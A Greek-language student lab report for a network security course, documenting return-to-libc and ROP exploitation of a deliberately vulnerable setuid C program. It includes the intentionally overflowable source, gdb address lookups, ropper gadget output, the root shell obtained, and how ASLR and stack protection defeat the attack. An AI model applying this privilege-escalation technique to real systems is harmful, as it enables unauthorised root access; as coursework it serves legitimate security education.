Ασφάλεια Δικτύων και Πληροφοριακών Συστημάτων

Assignment 2

Return to Libc - Return Oriented Programming

Team

Στέφανος Παπαναστασίου 1608 (stepapan@uth.gr)

Θωμάς Αθανασίου 1521 (thathana@uth.gr)

Ισαάκ Λαζαρίδης 1412 (islazari@uth.gr)

Task 1

```
tom@ubuntu:~/Desktop/Asfaleia$ gcc -g -Wall exploit.c -o exploit
tom@ubuntu:~/Desktop/Asfaleia$ ./exploit
tom@ubuntu:~/Desktop/Asfaleia$ ./retlib

Read 80 bytes. buf is AAAAAAAAAAAAP
# whoami
root
#
```

Question 1: Τρέχοντας ένα πρόγραμμα από gdb βλέπω τις διευθύνσεις των functions που χρειαζόμαστε, καθώς και την διεύθυνση του string "/bin/sh" από την libc. Όπως φαίνεται στο exploit.c αρχικά γεμίζουμε με σκουπίδια τον buffer* 24 bytes. Μετά από δοκιμές 12 sizeof(buf) + 8 (frame pointer) + 4 για να φτάσουμε στο return address. Μετά γεμίζουμε κάνοντας pop rdi (gadget) 2 φορές. Μία για να πάρει το argument η system και μία η setuid. ("/bin/sh" και 0 αντίστοιχα).

***Τρέχοντας αρκετές φορές το πρόγραμμα παρατηρήσαμε ότι παίρνουμε root αλλάζοντας στην fread το size μέχρι και 70. Με 68 είχαμε segmentation.**

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a53390 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0x7ffff7a48030 <__GI_exit>
gdb-peda$ p setuid
$3 = {<text variable, no debug info>} 0x7ffff7ada700 <__setuid>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9a177 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$
```

```
tom@ubuntu:~/Desktop/Asfaleia$ ropper --file retlib --search "% ?di"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di

[INFO] File: retlib
0x0000000000400598: add byte ptr [rax], al; test rax, rax; je 0x5b0; pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004005e6: add byte ptr [rax], al; test rax, rax; je 0x5f8; pop rbp; mov edi, 0x601058; jmp rax;
0x000000000040059d: je 0x5b0; pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004005eb: je 0x5f8; pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004006ca: mov eax, dword ptr [rbp - 8]; mov rdi, rax; call 0x500; mov eax, 1; leave; ret;
0x000000000040067b: mov edi, 0x400764; mov eax, 0; call 0x510; mov eax, 1; leave; ret;
0x00000000004005a0: mov edi, 0x601058; jmp rax;
0x00000000004005ee: mov edi, 0x601058; jmp rax; nop dword ptr [rax]; pop rbp; ret;
0x00000000004005a0: mov edi, 0x601058; jmp rax; nop word ptr [rax + rax]; pop rbp; ret;
0x00000000004006ce: mov edi, eax; call 0x500; mov eax, 1; leave; ret;
0x00000000004006c9: mov rax, qword ptr [rbp - 8]; mov rdi, rax; call 0x500; mov eax, 1; leave; ret;
0x00000000004006cd: mov rdi, rax; call 0x500; mov eax, 1; leave; ret;
0x000000000040059f: pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004005ed: pop rbp; mov edi, 0x601058; jmp rax; nop dword ptr [rax]; pop rbp; ret;
0x000000000040059f: pop rbp; mov edi, 0x601058; jmp rax; nop word ptr [rax + rax]; pop rbp; ret;
0x0000000000400743: pop rdi; ret;
0x000000000040059b: test eax, eax; je 0x5b0; pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004005e9: test eax, eax; je 0x5f8; pop rbp; mov edi, 0x601058; jmp rax;
0x000000000040059a: test rax, rax; je 0x5b0; pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004005e8: test rax, rax; je 0x5f8; pop rbp; mov edi, 0x601058; jmp rax;
0x00000000004006cc: clc; mov rdi, rax; call 0x500; mov eax, 1; leave; ret;
```

Question 2:

Παρατηρούμε ότι και μετά τις αλλαγές που ακολουθήσαμε και φτιάξαμε το newretlib πήραμε και πάλι shell

```
/* retlib.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(FILE *badfile) {
char buffer[12];

/* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char),70, badfile);
        return 1;
}

int main(int argc, char **argv) {
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}
```

```
steve@ubuntu: ~/Desktop/Asfaleia/Lab2
steve@ubuntu:~/Desktop/Asfaleia/Lab2$ ./retlib
# ls
a.out              exploit.c              peda-session-exploit.txt  retlib.c
badfile            findshell              peda-session-retlib.txt
create_badfile.py  findshell.c            printscreens
exploit            peda-session-a.out.txt  retlib
# cd ..
# ls
02_examples  Lab1  Lab2
# cd ..
# exit
steve@ubuntu:~/Desktop/Asfaleia/Lab2$ sudo su
root@ubuntu:/home/steve/Desktop/Asfaleia/Lab2# gcc -fno-stack-protector -z noexe
cstack -o newretlib newretlib.c
root@ubuntu:/home/steve/Desktop/Asfaleia/Lab2# chmod 4755 newretlib
root@ubuntu:/home/steve/Desktop/Asfaleia/Lab2# exit
exit
steve@ubuntu:~/Desktop/Asfaleia/Lab2$ ./newretlib
# ls
a.out              exploit.c    newretlib.c              printscreens
badfile            findshell    peda-session-a.out.txt   retlib
create_badfile.py  findshell.c  peda-session-exploit.txt  retlib.c
exploit            newretlib    peda-session-retlib.txt
#
```

Task 2

```
tom@ubuntu:~/Desktop/Asfaleia$ sudo su
root@ubuntu:/home/tom/Desktop/Asfaleia#  /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
root@ubuntu:/home/tom/Desktop/Asfaleia# exit
exit
tom@ubuntu:~/Desktop/Asfaleia$ ./retlib

Read 80 bytes. buf is AAAAAAAAAAAAP
Segmentation fault (core dumped)
```

Μετά την ενεργοποίηση του randomization (/sbin/sysctl -w kernel.randomize_va_space=2) δεν μπορούμε να πάρουμε shell,πράγμα το οποίο περιμέναμε να συμβεί δεδομένου οτι οι διευθύνσεις αλλάζουν. Το δοκιμάσαμε 2 φορές μέσω gdb όπως βλέπετε παρακάτω και όπως ήταν αναμενόμενο οι διευθύνσεις δεν συμπίπτουν.

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7f57e3bce390 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0x7f57e3bc3030 <__GI_exit>
gdb-peda$ p setuid
$3 = {<text variable, no debug info>} 0x7f57e3c55700 <__setuid>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7f57e3d15177 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7feea4e1b390 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0x7feea4e10030 <__GI_exit>
gdb-peda$ p setuid
$3 = {<text variable, no debug info>} 0x7feea4ea2700 <__setuid>
gdb-peda$
$4 = {<text variable, no debug info>} 0x7feea4ea2700 <__setuid>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7feea4f62177 --> 0x68732f6e69622f ('/bin/sh')
```

Task 3

Σε αυτό το task έχουμε απενεργοποιήσει το randomization και έχουμε ενεργοποιήσει το stack protection . Οι διευθύνσεις που στοχεύουμε είναι πλεόν σωστές αλλά ο stack protector ανιχνεύει την επίθευση και μας αποτρέπει